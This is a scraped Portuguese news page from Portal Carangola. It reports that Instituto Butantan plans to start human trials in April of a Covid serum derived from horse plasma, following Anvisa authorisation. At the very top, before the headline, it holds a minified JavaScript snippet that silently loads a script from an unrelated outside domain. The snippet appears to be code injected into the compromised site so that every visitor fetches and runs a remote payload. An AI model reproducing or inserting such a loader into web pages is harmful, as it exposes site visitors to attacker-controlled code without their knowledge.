;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Butantan iniciará testes de soro contra a Covid em humanos em abril. - Portal Carangola

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Butantan iniciará testes de soro contra a Covid em humanos em abril.

Anvisa autorizou sequência de estudos com plasma do sangue de cavalos

O Instituto Butantan vai iniciar já em abril os testes em humanos de um soro contra a Covid feito a partir do plasma do sangue de cavalos expostos ao Sars-CoV-2. Com os ensaios já em preparação, uma reunião deve ser realizada na próxima semana para definir os últimos detalhes. A informação foi confirmada ao UOL pelo instituto.

A Anvisa (Agência Nacional de Vigilância Sanitária) deu aval para o início dos testes pelo Butantan na semana passada. Os últimos documentos requisitados pelo órgão já foram entregues à agência e as observações do órgão aos preparativos do estudo estão sendo adotadas pelo instituto.

Em nota, a Anvisa ressaltou que já deu autorização para o início dos testes e que ainda aguarda o Butantan entregar o “termo de compromisso”, que determina realização de estudos prévios antes de testar o soro nos voluntários.

Os pesquisadores envolvidos no desenvolvimento do composto vão se reunir durante a semana para definir os detalhes do ensaio clínico.

Sabe-se que o fármaco será aplicado em adultos recém-infectados pela doença, no início dos sintomas, para evitar que eles manifestem quadros graves da doença. Cabe aos cientistas, agora, definir quais serão as doses aplicadas em cada pessoa e em quais hospitais os testes serão realizados.
Nos bastidores do Butantan, o avanço do soro contra a Covid é comemorado tanto quanto o desenvolvimento das vacinas CoronaVac e Butanvac.

Até agora, o soro só foi testado em animais, como hamsters, e atingiu as expectativas dos cientistas em relação à eficácia. Os animais, infectados pelo vírus e após desenvolverem um caso grave, receberam uma dose do soro e apresentaram melhora clínica “muito significativa”, principalmente no combate à inflamação nos pulmões, segundo uma fonte que coordena os estudos.

Fonte: Folha Press

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